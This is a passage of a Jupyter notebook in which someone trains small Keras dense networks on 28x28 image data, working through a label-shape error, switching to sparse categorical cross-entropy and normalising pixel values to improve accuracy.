"\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\function.py\u001b[0m in \u001b[0;36m_create_graph_function\u001b[1;34m(self, args, kwargs, override_flat_arg_shapes)\u001b[0m\n\u001b[0;32m 3277\u001b[0m \u001b[0marg_names\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mbase_arg_names\u001b[0m \u001b[1;33m+\u001b[0m \u001b[0mmissing_arg_names\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3278\u001b[0m graph_function = ConcreteFunction(\n\u001b[1;32m-> 3279\u001b[1;33m func_graph_module.func_graph_from_py_func(\n\u001b[0m\u001b[0;32m 3280\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_name\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3281\u001b[0m \u001b[0mself\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m_python_function\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\framework\\func_graph.py\u001b[0m in \u001b[0;36mfunc_graph_from_py_func\u001b[1;34m(name, python_func, args, kwargs, signature, func_graph, autograph, autograph_options, add_control_dependencies, arg_names, op_return_value, collections, capture_by_value, override_flat_arg_shapes)\u001b[0m\n\u001b[0;32m 997\u001b[0m \u001b[0m_\u001b[0m\u001b[1;33m,\u001b[0m \u001b[0moriginal_func\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mtf_decorator\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0munwrap\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mpython_func\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 998\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 999\u001b[1;33m \u001b[0mfunc_outputs\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mpython_func\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m*\u001b[0m\u001b[0mfunc_args\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mfunc_kwargs\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 1000\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 1001\u001b[0m \u001b[1;31m# invariant: `func_outputs` contains only Tensors, CompositeTensors,\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\eager\\def_function.py\u001b[0m in \u001b[0;36mwrapped_fn\u001b[1;34m(*args, **kwds)\u001b[0m\n\u001b[0;32m 670\u001b[0m \u001b[1;31m# the function a weak reference to itself to avoid a reference cycle.\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 671\u001b[0m \u001b[1;32mwith\u001b[0m \u001b[0mOptionalXlaContext\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mcompile_with_xla\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 672\u001b[1;33m \u001b[0mout\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mweak_wrapped_fn\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0m__wrapped__\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m*\u001b[0m\u001b[0margs\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;33m**\u001b[0m\u001b[0mkwds\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 673\u001b[0m \u001b[1;32mreturn\u001b[0m \u001b[0mout\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 674\u001b[0m \u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;32m~\\anaconda3\\lib\\site-packages\\tensorflow\\python\\framework\\func_graph.py\u001b[0m in \u001b[0;36mwrapper\u001b[1;34m(*args, **kwargs)\u001b[0m\n\u001b[0;32m 984\u001b[0m \u001b[1;32mexcept\u001b[0m \u001b[0mException\u001b[0m \u001b[1;32mas\u001b[0m \u001b[0me\u001b[0m\u001b[1;33m:\u001b[0m \u001b[1;31m# pylint:disable=broad-except\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 985\u001b[0m \u001b[1;32mif\u001b[0m \u001b[0mhasattr\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0me\u001b[0m\u001b[1;33m,\u001b[0m \u001b[1;34m\"ag_error_metadata\"\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[1;32m--> 986\u001b[1;33m \u001b[1;32mraise\u001b[0m \u001b[0me\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mag_error_metadata\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mto_exception\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0me\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 987\u001b[0m \u001b[1;32melse\u001b[0m\u001b[1;33m:\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 988\u001b[0m \u001b[1;32mraise\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", - "\u001b[1;31mValueError\u001b[0m: in user code:\n\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:855 train_function *\n return step_function(self, iterator)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:845 step_function **\n outputs = model.distribute_strategy.run(run_step, args=(data,))\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:1285 run\n return self._extended.call_for_each_replica(fn, args=args, kwargs=kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:2833 call_for_each_replica\n return self._call_for_each_replica(fn, args, kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\distribute\\distribute_lib.py:3608 _call_for_each_replica\n return fn(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:838 run_step **\n outputs = model.train_step(data)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\training.py:796 train_step\n loss = self.compiled_loss(\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\engine\\compile_utils.py:204 __call__\n loss_value = loss_obj(y_t, y_p, sample_weight=sw)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:155 __call__\n losses = call_fn(y_true, y_pred)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:259 call **\n return ag_fn(y_true, y_pred, **self._fn_kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\util\\dispatch.py:206 wrapper\n return target(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\losses.py:1643 categorical_crossentropy\n return backend.categorical_crossentropy(\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\util\\dispatch.py:206 wrapper\n return target(*args, **kwargs)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\keras\\backend.py:4862 categorical_crossentropy\n target.shape.assert_is_compatible_with(output.shape)\n C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\tensorflow\\python\\framework\\tensor_shape.py:1161 assert_is_compatible_with\n raise ValueError(\"Shapes %s and %s are incompatible\" % (self, other))\n\n ValueError: Shapes (32, 1) and (32, 10) are incompatible\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_12 = tf.keras.Sequential([\n", - " tf.keras.layers.Flatten(input_shape=(28, 28)), \n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"softmax\")\n", - "])\n", - "\n", - "# Compile the model\n", - "model_12.compile(loss=tf.keras.losses.CategoricalCrossentropy(),\n", - " # since our labels are in integer form, we'll use tf.keras.losses.SparseCategoricalCrossentropy(), if our labels were one-hot encoded (e.g. they looked something like [0, 0, 1, 0, 0...]), we use tf.keras.losses.CategoricalCrossentropy().\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history_mc2 = model_12.fit(train_data,\n", - " train_label,\n", - " epochs=10,\n", - " validation_data=(test_data, test_label)) " - ] - }, - { - "cell_type": "code", - "execution_count": 119, - "id": "ed45dff7", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 2.1608 - accuracy: 0.1639 - val_loss: 1.7971 - val_accuracy: 0.2073\n", - "Epoch 2/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.7081 - accuracy: 0.2487 - val_loss: 1.6460 - val_accuracy: 0.2800\n", - "Epoch 3/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.6278 - accuracy: 0.2824 - val_loss: 1.6023 - val_accuracy: 0.2910\n", - "Epoch 4/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.6092 - accuracy: 0.2827 - val_loss: 1.5968 - val_accuracy: 0.2888\n", - "Epoch 5/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5956 - accuracy: 0.2927 - val_loss: 1.5808 - val_accuracy: 0.3039\n", - "Epoch 6/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 1.5921 - accuracy: 0.3008 - val_loss: 1.5695 - val_accuracy: 0.3060\n", - "Epoch 7/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.5806 - accuracy: 0.3111 - val_loss: 1.5695 - val_accuracy: 0.2895\n", - "Epoch 8/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.5494 - accuracy: 0.3313 - val_loss: 1.5456 - val_accuracy: 0.3569\n", - "Epoch 9/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.5101 - accuracy: 0.3535 - val_loss: 1.4687 - val_accuracy: 0.3960\n", - "Epoch 10/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.4894 - accuracy: 0.3756 - val_loss: 1.4258 - val_accuracy: 0.4033\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_13 = tf.keras.Sequential([\n", - " tf.keras.layers.Flatten(input_shape=(28, 28)), \n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"softmax\")\n", - "])\n", - "\n", - "# Compile the model\n", - "model_13.compile(loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n", - " # since our labels are in integer form, we'll use tf.keras.losses.SparseCategoricalCrossentropy(), if our labels were one-hot encoded (e.g. they looked something like [0, 0, 1, 0, 0...]), we use tf.keras.losses.CategoricalCrossentropy().\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history_mc3 = model_13.fit(train_data,\n", - " train_label,\n", - " epochs=10,\n", - " validation_data=(test_data, test_label)) " - ] - }, - { - "cell_type": "code", - "execution_count": null, - "id": "757132e1", - "metadata": {}, - "outputs": [], - "source": [ - "### Acuuracy is low due to our data is not in standardise/normalise form ####" - ] - }, - { - "cell_type": "code", - "execution_count": 120, - "id": "70409a2b", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]],\n", - "\n", - " [[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]],\n", - "\n", - " [[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]],\n", - "\n", - " ...,\n", - "\n", - " [[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]],\n", - "\n", - " [[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]],\n", - "\n", - " [[0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " ...,\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0],\n", - " [0, 0, 0, ..., 0, 0, 0]]], dtype=uint8)" - ] - }, - "execution_count": 120, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "train_data" - ] - }, - { - "cell_type": "code", - "execution_count": 121, - "id": "55fdd5c2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(255, 0)" - ] - }, - "execution_count": 121, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# For normalising our data (shaortcut method) :\n", - "\n", - "## 1st step ( check the maximum and minimum value of data )\n", - "train_data.max(), train_data.min()" - ] - }, - { - "cell_type": "code", - "execution_count": 122, - "id": "c08ed3e5", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(1.0, 0.0)" - ] - }, - "execution_count": 122, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "## 2nd (step divide all data with max value)\n", - "train_data= train_data / 255.0\n", - "test_data= test_data / 255.0\n", - "train_data.max(), train_data.min()" - ] - }, - { - "cell_type": "code", - "execution_count": 123, - "id": "f104788c", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 1.0348 - accuracy: 0.6474 - val_loss: 0.6937 - val_accuracy: 0.7617\n", - "Epoch 2/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 0.6376 - accuracy: 0.7757 - val_loss: 0.6400 - val_accuracy: 0.7820\n", - "Epoch 3/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 0.5942 - accuracy: 0.7914 - val_loss: 0.6247 - val_accuracy: 0.7783\n", - "Epoch 4/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 0.5750 - accuracy: 0.7979 - val_loss: 0.6078 - val_accuracy: 0.7881\n", - "Epoch 5/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 0.5641 - accuracy: 0.8006 - val_loss: 0.6169 - val_accuracy: 0.7881\n", - "Epoch 6/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.5544 - accuracy: 0.8043 - val_loss: 0.5855 - val_accuracy: 0.7951\n", - "Epoch 7/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.5488 - accuracy: 0.8063 - val_loss: 0.6097 - val_accuracy: 0.7836\n", - "Epoch 8/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.5428 - accuracy: 0.8077 - val_loss: 0.5787 - val_accuracy: 0.7971\n", - "Epoch 9/10\n", - "1875/1875 [==============================] - 3s 1ms/step - loss: 0.5373 - accuracy: 0.8097 - val_loss: 0.5698 - val_accuracy: 0.7977\n", - "Epoch 10/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.5360 - accuracy: 0.8124 - val_loss: 0.5658 - val_accuracy: 0.8014\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_14 = tf.keras.Sequential([\n", - " tf.keras.layers.Flatten(input_shape=(28, 28)), \n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(4, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"softmax\")\n", - "])\n", - "\n", - "# Compile the model\n", - "model_14.compile(loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n", - " # since our labels are in integer form, we'll use tf.keras.losses.SparseCategoricalCrossentropy(), if our labels were one-hot encoded (e.g. they looked something like [0, 0, 1, 0, 0...]), we use tf.keras.losses.CategoricalCrossentropy().\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history_mc4 = model_14.fit(train_data,\n", - " train_label,\n", - " epochs=10,\n", - " validation_data=(test_data, test_label))" - ] - }, - { - "cell_type": "code", - "execution_count": 124, - "id": "9decba03", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Model: \"sequential_20\"\n", - "_________________________________________________________________\n", - "Layer (type) Output Shape Param # \n", - "=================================================================\n", - "flatten_2 (Flatten) (None, 784) 0 \n", - "_________________________________________________________________\n", - "dense_37 (Dense) (None, 4) 3140 \n", - "_________________________________________________________________\n", - "dense_38 (Dense) (None, 4) 20 \n", - "_________________________________________________________________\n", - "dense_39 (Dense) (None, 10) 50 \n", - "=================================================================\n", - "Total params: 3,210\n", - "Trainable params: 3,210\n", - "Non-trainable params: 0\n", - "_________________________________________________________________\n" - ] - } - ], - "source": [ - "model_13.summary()" - ] - }, - { - "cell_type": "code", - "execution_count": 128, - "id": "bb6409d7", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/10\n", - "1875/1875 [==============================] - 4s 2ms/step - loss: 0.7036 - accuracy: 0.7516 - val_loss: 0.5208 - val_accuracy: 0.8222\n", - "Epoch 2/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.4793 - accuracy: 0.8354 - val_loss: 0.5242 - val_accuracy: 0.8185\n", - "Epoch 3/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.4478 - accuracy: 0.8456 - val_loss: 0.4768 - val_accuracy: 0.8299\n", - "Epoch 4/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.4304 - accuracy: 0.8507 - val_loss: 0.4530 - val_accuracy: 0.8423\n", - "Epoch 5/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.4159 - accuracy: 0.8541 - val_loss: 0.4635 - val_accuracy: 0.8373\n", - "Epoch 6/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.4043 - accuracy: 0.8580 - val_loss: 0.4596 - val_accuracy: 0.8340\n", - "Epoch 7/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.3954 - accuracy: 0.8605 - val_loss: 0.4482 - val_accuracy: 0.8396\n", - "Epoch 8/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.3894 - accuracy: 0.8633 - val_loss: 0.4246 - val_accuracy: 0.8499\n", - "Epoch 9/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.3812 - accuracy: 0.8642 - val_loss: 0.4281 - val_accuracy: 0.8514\n", - "Epoch 10/10\n", - "1875/1875 [==============================] - 3s 2ms/step - loss: 0.3784 - accuracy: 0.8644 - val_loss: 0.4389 - val_accuracy: 0.8467\n" - ] - } - ], - "source": [ - "# Set random seed\n", - "tf.random.set_seed(42)\n", - "\n", - "# Create the model\n", - "model_14 = tf.keras.Sequential([\n", - " tf.keras.layers.Flatten(input_shape=(28, 28)), \n", - " tf.keras.layers.Dense(10, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"relu\"),\n", - " tf.keras.layers.Dense(10, activation=\"softmax\")\n", - "])\n", - "\n", - "# Compile the model\n", - "model_14.compile(loss=tf.keras.losses.SparseCategoricalCrossentropy(),\n", - " # since our labels are in integer form, we'll use tf.keras.losses.SparseCategoricalCrossentropy(), if our labels were one-hot encoded (e.g. they looked something like [0, 0, 1, 0, 0...]), we use tf.keras.losses.CategoricalCrossentropy().\n", - " optimizer=tf.keras.optimizers.Adam(),\n", - " metrics=[\"accuracy\"])\n", - "\n", - "# Fit the model\n", - "history_mc4 = model_14.fit(train_data,\n", - " train_label,\n", - " epochs=10,\n", - " validation_data=(test_data, test_label))" - ] - }, - { - "cell_type": "code", - "execution_count": 129, - "id": "c65ac3d2", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Model: \"sequential_25\"\n", - "_________________________________________________________________\n", - "Layer (type) Output Shape Param # \n", - "=================================================================\n", - "flatten_7 (Flatten) (None, 784) 0 \n", - "_________________________________________________________________\n", - "dense_55 (Dense) (None, 10) 7850 \n", - "_________________________________________________________________\n", - "dense_56 (Dense) (None, 10) 110 \n", - "_________________________________________________________________\n", - "dense_57 (Dense) (None, 10) 110 \n", - "_________________________________________________________________\n", - "dense_58 (Dense) (None, 10) 110 \n", - "=================================================================\n", - "Total params: 8,180\n", - "Trainable params: 8,180\n", - "Non-trainable params: 0\n", - "_________________________________________________________________\n" - ] - } - ], - "source": [ - "model_14.summary()" - ] - }, - { - "cell_type": "code", - "execution_count": 133, - "id": "9ae26ea4", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
lossaccuracyval_lossval_accuracy
00.7036210.7516000.5207600.8222
10.4792800.8354330.5241780.8185
20.4478120.8456330.4768170.8299
30.4304420.8506500.4529670.8423
40.4159090.8541000.4635060.8373
50.4043150.8579830.4596080.8340
60.3953730.8605000.4482000.8396
70.3894480.8633000.4246030.8499
80.3812150.8642170.4280580.8514
90.3783560.8644330.4388580.8467
\n", - "
" - ], - "text/plain": [ - " loss accuracy val_loss val_accuracy\n", - "0 0.703621 0.751600 0.520760 0.8222\n", - "1 0.479280 0.835433 0.524178 0.8185\n", - "2 0.447812 0.845633 0.476817 0.8299\n", - "3 0.430442 0.850650 0.452967 0.8423\n", - "4 0.415909 0.854100 0.463506 0.8373\n", - "5 0.404315 0.857983 0.459608 0.8340\n", - "6 0.395373 0.860500 0.448200 0.8396\n", - "7 0.389448 0.863300 0.424603 0.8499\n", - "8 0.381215 0.864217 0.428058 0.8514\n", - "9 0.378356 0.864433 0.438858 0.8467" - ] - }, - "execution_count": 133, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.DataFrame(history_mc4.history)\n", - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 134, - "id": "96fc8ddb", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 134, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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